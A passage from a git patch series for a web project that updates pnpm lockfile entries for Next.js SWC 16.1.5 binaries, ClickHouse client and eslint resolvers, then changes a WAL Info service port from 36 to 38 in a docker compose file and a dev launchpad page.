+    engines: {node: '>= 10'}
+    cpu: [arm64]
+    os: [linux]
+    libc: [glibc]
+
   '@next/swc-linux-arm64-musl@14.2.33':
     resolution: {integrity: sha512-Bm+QulsAItD/x6Ih8wGIMfRJy4G73tu1HJsrccPW6AfqdZd0Sfm5Imhgkgq2+kly065rYMnCOxTBvmvFY1BKfg==}
     engines: {node: '>= 10'}
@@ -4795,6 +4814,13 @@ packages:
     os: [linux]
     libc: [musl]
 
+  '@next/swc-linux-arm64-musl@16.1.5':
+    resolution: {integrity: sha512-U+kBxGUY1xMAzDTXmuVMfhaWUZQAwzRaHJ/I6ihtR5SbTVUEaDRiEU9YMjy1obBWpdOBuk1bcm+tsmifYSygfw==}
+    engines: {node: '>= 10'}
+    cpu: [arm64]
+    os: [linux]
+    libc: [musl]
+
   '@next/swc-linux-x64-gnu@14.2.33':
     resolution: {integrity: sha512-FnFn+ZBgsVMbGDsTqo8zsnRzydvsGV8vfiWwUo1LD8FTmPTdV+otGSWKc4LJec0oSexFnCYVO4hX8P8qQKaSlg==}
     engines: {node: '>= 10'}
@@ -4809,6 +4835,13 @@ packages:
     os: [linux]
     libc: [glibc]
 
+  '@next/swc-linux-x64-gnu@16.1.5':
+    resolution: {integrity: sha512-gq2UtoCpN7Ke/7tKaU7i/1L7eFLfhMbXjNghSv0MVGF1dmuoaPeEVDvkDuO/9LVa44h5gqpWeJ4mRRznjDv7LA==}
+    engines: {node: '>= 10'}
+    cpu: [x64]
+    os: [linux]
+    libc: [glibc]
+
   '@next/swc-linux-x64-musl@14.2.33':
     resolution: {integrity: sha512-345tsIWMzoXaQndUTDv1qypDRiebFxGYx9pYkhwY4hBRaOLt8UGfiWKr9FSSHs25dFIf8ZqIFaPdy5MljdoawA==}
     engines: {node: '>= 10'}
@@ -4823,6 +4856,13 @@ packages:
     os: [linux]
     libc: [musl]
 
+  '@next/swc-linux-x64-musl@16.1.5':
+    resolution: {integrity: sha512-bQWSE729PbXT6mMklWLf8dotislPle2L70E9q6iwETYEOt092GDn0c+TTNj26AjmeceSsC4ndyGsK5nKqHYXjQ==}
+    engines: {node: '>= 10'}
+    cpu: [x64]
+    os: [linux]
+    libc: [musl]
+
   '@next/swc-win32-arm64-msvc@14.2.33':
     resolution: {integrity: sha512-nscpt0G6UCTkrT2ppnJnFsYbPDQwmum4GNXYTeoTIdsmMydSKFz9Iny2jpaRupTb+Wl298+Rh82WKzt9LCcqSQ==}
     engines: {node: '>= 10'}
@@ -4835,6 +4875,12 @@ packages:
     cpu: [arm64]
     os: [win32]
 
+  '@next/swc-win32-arm64-msvc@16.1.5':
+    resolution: {integrity: sha512-LZli0anutkIllMtTAWZlDqdfvjWX/ch8AFK5WgkNTvaqwlouiD1oHM+WW8RXMiL0+vAkAJyAGEzPPjO+hnrSNQ==}
+    engines: {node: '>= 10'}
+    cpu: [arm64]
+    os: [win32]
+
   '@next/swc-win32-ia32-msvc@14.2.33':
     resolution: {integrity: sha512-pc9LpGNKhJ0dXQhZ5QMmYxtARwwmWLpeocFmVG5Z0DzWq5Uf0izcI8tLc+qOpqxO1PWqZ5A7J1blrUIKrIFc7Q==}
     engines: {node: '>= 10'}
@@ -4853,6 +4899,12 @@ packages:
     cpu: [x64]
     os: [win32]
 
+  '@next/swc-win32-x64-msvc@16.1.5':
+    resolution: {integrity: sha512-7is37HJTNQGhjPpQbkKjKEboHYQnCgpVt/4rBrrln0D9nderNxZ8ZWs8w1fAtzUx7wEyYjQ+/13myFgFj6K2Ng==}
+    engines: {node: '>= 10'}
+    cpu: [x64]
+    os: [win32]
+
   '@node-oauth/formats@1.0.0':
     resolution: {integrity: sha512-DwSbLtdC8zC5B5gTJkFzJj5s9vr9SGzOgQvV9nH7tUVuMSScg0EswAczhjIapOmH3Y8AyP7C4Jv7b8+QJObWZA==}
 
@@ -17718,11 +17770,11 @@ snapshots:
 
   '@chevrotain/utils@11.0.3': {}
 
-  '@clickhouse/client-common@1.14.0': {}
+  '@clickhouse/client-common@1.16.0': {}
 
-  '@clickhouse/client@1.14.0':
+  '@clickhouse/client@1.16.0':
     dependencies:
-      '@clickhouse/client-common': 1.14.0
+      '@clickhouse/client-common': 1.16.0
 
   '@date-fns/tz@1.2.0': {}
 
@@ -19078,42 +19130,63 @@ snapshots:
   '@next/swc-darwin-arm64@15.5.7':
     optional: true
 
+  '@next/swc-darwin-arm64@16.1.5':
+    optional: true
+
   '@next/swc-darwin-x64@14.2.33':
     optional: true
 
   '@next/swc-darwin-x64@15.5.7':
     optional: true
 
+  '@next/swc-darwin-x64@16.1.5':
+    optional: true
+
   '@next/swc-linux-arm64-gnu@14.2.33':
     optional: true
 
   '@next/swc-linux-arm64-gnu@15.5.7':
     optional: true
 
+  '@next/swc-linux-arm64-gnu@16.1.5':
+    optional: true
+
   '@next/swc-linux-arm64-musl@14.2.33':
     optional: true
 
   '@next/swc-linux-arm64-musl@15.5.7':
     optional: true
 
+  '@next/swc-linux-arm64-musl@16.1.5':
+    optional: true
+
   '@next/swc-linux-x64-gnu@14.2.33':
     optional: true
 
   '@next/swc-linux-x64-gnu@15.5.7':
     optional: true
 
+  '@next/swc-linux-x64-gnu@16.1.5':
+    optional: true
+
   '@next/swc-linux-x64-musl@14.2.33':
     optional: true
 
   '@next/swc-linux-x64-musl@15.5.7':
     optional: true
 
+  '@next/swc-linux-x64-musl@16.1.5':
+    optional: true
+
   '@next/swc-win32-arm64-msvc@14.2.33':
     optional: true
 
   '@next/swc-win32-arm64-msvc@15.5.7':
     optional: true
 
+  '@next/swc-win32-arm64-msvc@16.1.5':
+    optional: true
+
   '@next/swc-win32-ia32-msvc@14.2.33':
     optional: true
 
@@ -19123,6 +19196,9 @@ snapshots:
   '@next/swc-win32-x64-msvc@15.5.7':
     optional: true
 
+  '@next/swc-win32-x64-msvc@16.1.5':
+    optional: true
+
   '@node-oauth/formats@1.0.0': {}
 
   '@node-oauth/oauth2-server@5.1.0':
@@ -27237,7 +27313,7 @@ snapshots:
       '@typescript-eslint/parser': 6.21.0(eslint@8.30.0)(typescript@5.3.3)
       eslint: 8.30.0
       eslint-import-resolver-node: 0.3.9
-      eslint-import-resolver-typescript: 3.6.3(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.3.3))(eslint-import-resolver-node@0.3.9)(eslint-plugin-import@2.31.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.3.3))(eslint@8.30.0))(eslint@8.30.0)
+      eslint-import-resolver-typescript: 3.6.3(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.3.3))(eslint-import-resolver-node@0.3.9)(eslint-plugin-import@2.31.0)(eslint@8.30.0)
       eslint-plugin-import: 2.31.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.3.3))(eslint-import-resolver-typescript@3.6.3)(eslint@8.30.0)
       eslint-plugin-jsx-a11y: 6.10.2(eslint@8.30.0)
       eslint-plugin-react: 7.37.2(eslint@8.30.0)
@@ -27294,25 +27370,6 @@ snapshots:
       - eslint-import-resolver-webpack
       - supports-color
 
-  eslint-import-resolver-typescript@3.6.3(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.3.3))(eslint-import-resolver-node@0.3.9)(eslint-plugin-import@2.31.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.3.3))(eslint@8.30.0))(eslint@8.30.0):
-    dependencies:
-      '@nolyfill/is-core-module': 1.0.39
-      debug: 4.4.0
-      enhanced-resolve: 5.17.1
-      eslint: 8.30.0
-      eslint-module-utils: 2.12.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.3.3))(eslint-import-resolver-node@0.3.9)(eslint-import-resolver-typescript@3.6.3)(eslint@8.30.0)
-      fast-glob: 3.3.3
-      get-tsconfig: 4.8.1
-      is-bun-module: 1.2.1
-      is-glob: 4.0.3
-    optionalDependencies:
-      eslint-plugin-import: 2.31.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.3.3))(eslint-import-resolver-typescript@3.6.3)(eslint@8.30.0)
-    transitivePeerDependencies:
-      - '@typescript-eslint/parser'
-      - eslint-import-resolver-node
-      - eslint-import-resolver-webpack
-      - supports-color
-
   eslint-import-resolver-typescript@3.6.3(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.3.3))(eslint-import-resolver-node@0.3.9)(eslint-plugin-import@2.31.0)(eslint@8.30.0):
     dependencies:
       '@nolyfill/is-core-module': 1.0.39
@@ -27338,7 +27395,7 @@ snapshots:
       debug: 4.4.0
       enhanced-resolve: 5.17.1
       eslint: 8.30.0
-      eslint-module-utils: 2.12.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.8.3))(eslint-import-resolver-node@0.3.9)(eslint-import-resolver-typescript@3.6.3)(eslint@8.30.0)
+      eslint-module-utils: 2.12.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.8.3))(eslint-import-resolver-node@0.3.9)(eslint-import-resolver-typescript@3.6.3(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.8.3))(eslint-import-resolver-node@0.3.9)(eslint-plugin-import@2.31.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.8.3))(eslint@8.30.0))(eslint@8.30.0))(eslint@8.30.0)
       fast-glob: 3.3.3
       get-tsconfig: 4.8.1
       is-bun-module: 1.2.1
@@ -27383,7 +27440,7 @@ snapshots:
     transitivePeerDependencies:
       - supports-color
 
-  eslint-module-utils@2.12.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.8.3))(eslint-import-resolver-node@0.3.9)(eslint-import-resolver-typescript@3.6.3)(eslint@8.30.0):
+  eslint-module-utils@2.12.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.8.3))(eslint-import-resolver-node@0.3.9)(eslint-import-resolver-typescript@3.6.3(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.8.3))(eslint-import-resolver-node@0.3.9)(eslint-plugin-import@2.31.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.8.3))(eslint@8.30.0))(eslint@8.30.0))(eslint@8.30.0):
     dependencies:
       debug: 3.2.7
     optionalDependencies:
@@ -27498,7 +27555,7 @@ snapshots:
       doctrine: 2.1.0
       eslint: 8.30.0
       eslint-import-resolver-node: 0.3.9
-      eslint-module-utils: 2.12.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.8.3))(eslint-import-resolver-node@0.3.9)(eslint-import-resolver-typescript@3.6.3)(eslint@8.30.0)
+      eslint-module-utils: 2.12.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.8.3))(eslint-import-resolver-node@0.3.9)(eslint-import-resolver-typescript@3.6.3(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.8.3))(eslint-import-resolver-node@0.3.9)(eslint-plugin-import@2.31.0(@typescript-eslint/parser@6.21.0(eslint@8.30.0)(typescript@5.8.3))(eslint@8.30.0))(eslint@8.30.0))(eslint@8.30.0)
       hasown: 2.0.2
       is-core-module: 2.15.1
       is-glob: 4.0.3
@@ -30536,6 +30593,14 @@ snapshots:
       react-dom: 19.2.1(react@19.2.1)
       styled-jsx: 5.1.6(@babel/core@7.26.0)(react@19.2.1)
     optionalDependencies:
+      '@next/swc-darwin-arm64': 16.1.5
+      '@next/swc-darwin-x64': 16.1.5
+      '@next/swc-linux-arm64-gnu': 16.1.5
+      '@next/swc-linux-arm64-musl': 16.1.5
+      '@next/swc-linux-x64-gnu': 16.1.5
+      '@next/swc-linux-x64-musl': 16.1.5
+      '@next/swc-win32-arm64-msvc': 16.1.5
+      '@next/swc-win32-x64-msvc': 16.1.5
       '@opentelemetry/api': 1.9.0
       sharp: 0.34.4
     transitivePeerDependencies:
@@ -30553,6 +30618,14 @@ snapshots:
       react-dom: 19.2.3(react@19.2.1)
       styled-jsx: 5.1.6(@babel/core@7.26.0)(react@19.2.1)
     optionalDependencies:
+      '@next/swc-darwin-arm64': 16.1.5
+      '@next/swc-darwin-x64': 16.1.5
+      '@next/swc-linux-arm64-gnu': 16.1.5
+      '@next/swc-linux-arm64-musl': 16.1.5
+      '@next/swc-linux-x64-gnu': 16.1.5
+      '@next/swc-linux-x64-musl': 16.1.5
+      '@next/swc-win32-arm64-msvc': 16.1.5
+      '@next/swc-win32-x64-msvc': 16.1.5
       '@opentelemetry/api': 1.9.0
       sharp: 0.34.4
     transitivePeerDependencies:
@@ -30570,6 +30643,14 @@ snapshots:
       react-dom: 19.2.3(react@19.2.3)
       styled-jsx: 5.1.6(@babel/core@7.28.0)(react@19.2.3)
     optionalDependencies:
+      '@next/swc-darwin-arm64': 16.1.5
+      '@next/swc-darwin-x64': 16.1.5
+      '@next/swc-linux-arm64-gnu': 16.1.5
+      '@next/swc-linux-arm64-musl': 16.1.5
+      '@next/swc-linux-x64-gnu': 16.1.5
+      '@next/swc-linux-x64-musl': 16.1.5
+      '@next/swc-win32-arm64-msvc': 16.1.5
+      '@next/swc-win32-x64-msvc': 16.1.5
       '@opentelemetry/api': 1.9.0
       sharp: 0.34.4
     transitivePeerDependencies:
@@ -30587,6 +30668,14 @@ snapshots:
       react-dom: 19.2.3(react@19.2.3)
       styled-jsx: 5.1.6(@babel/core@7.28.5)(react@19.2.3)
     optionalDependencies:
+      '@next/swc-darwin-arm64': 16.1.5
+      '@next/swc-darwin-x64': 16.1.5
+      '@next/swc-linux-arm64-gnu': 16.1.5
+      '@next/swc-linux-arm64-musl': 16.1.5
+      '@next/swc-linux-x64-gnu': 16.1.5
+      '@next/swc-linux-x64-musl': 16.1.5
+      '@next/swc-win32-arm64-msvc': 16.1.5
+      '@next/swc-win32-x64-msvc': 16.1.5
       '@opentelemetry/api': 1.9.0
       sharp: 0.34.4
     transitivePeerDependencies:

From bf0675f084116bc8622e7d8ad4f3a4c219773888 Mon Sep 17 00:00:00 2001
From: Bilal Godil <bg2002@gmail.com>
Date: Tue, 27 Jan 2026 14:32:43 -0800
Subject: [PATCH 24/25] change wal info port

---
 docker/dependencies/docker.compose.yaml | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docker/dependencies/docker.compose.yaml b/docker/dependencies/docker.compose.yaml
index 2a239ac3ca..b58ff352ea 100644
--- a/docker/dependencies/docker.compose.yaml
+++ b/docker/dependencies/docker.compose.yaml
@@ -59,7 +59,7 @@ services:
       POSTGRES_PASSWORD: PASSWORD-PLACEHOLDER--uqfEC1hmmv
       POSTGRES_DB: stackframe
     ports:
-      - "${NEXT_PUBLIC_STACK_PORT_PREFIX:-81}36:8080"
+      - "${NEXT_PUBLIC_STACK_PORT_PREFIX:-81}38:8080"
     depends_on:
       - db
       - db-replica

From 54bbcf94097e008f345da520183c832d22f95b75 Mon Sep 17 00:00:00 2001
From: Bilal Godil <bg2002@gmail.com>
Date: Tue, 27 Jan 2026 14:49:42 -0800
Subject: [PATCH 25/25] fix wall info port

---
 apps/dev-launchpad/public/index.html | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/apps/dev-launchpad/public/index.html b/apps/dev-launchpad/public/index.html
index 0a2abdb8c7..526a8582ff 100644
--- a/apps/dev-launchpad/public/index.html
+++ b/apps/dev-launchpad/public/index.html
@@ -307,7 +307,7 @@ <h2 style="margin-top: 64px;">Background services</h2>
         },
         {
           name: "WAL Info",
-          portSuffix: "36",
+          portSuffix: "38",
           description: [
             "Replication & WAL monitoring",
             "Tracks primary/replica LSN positions",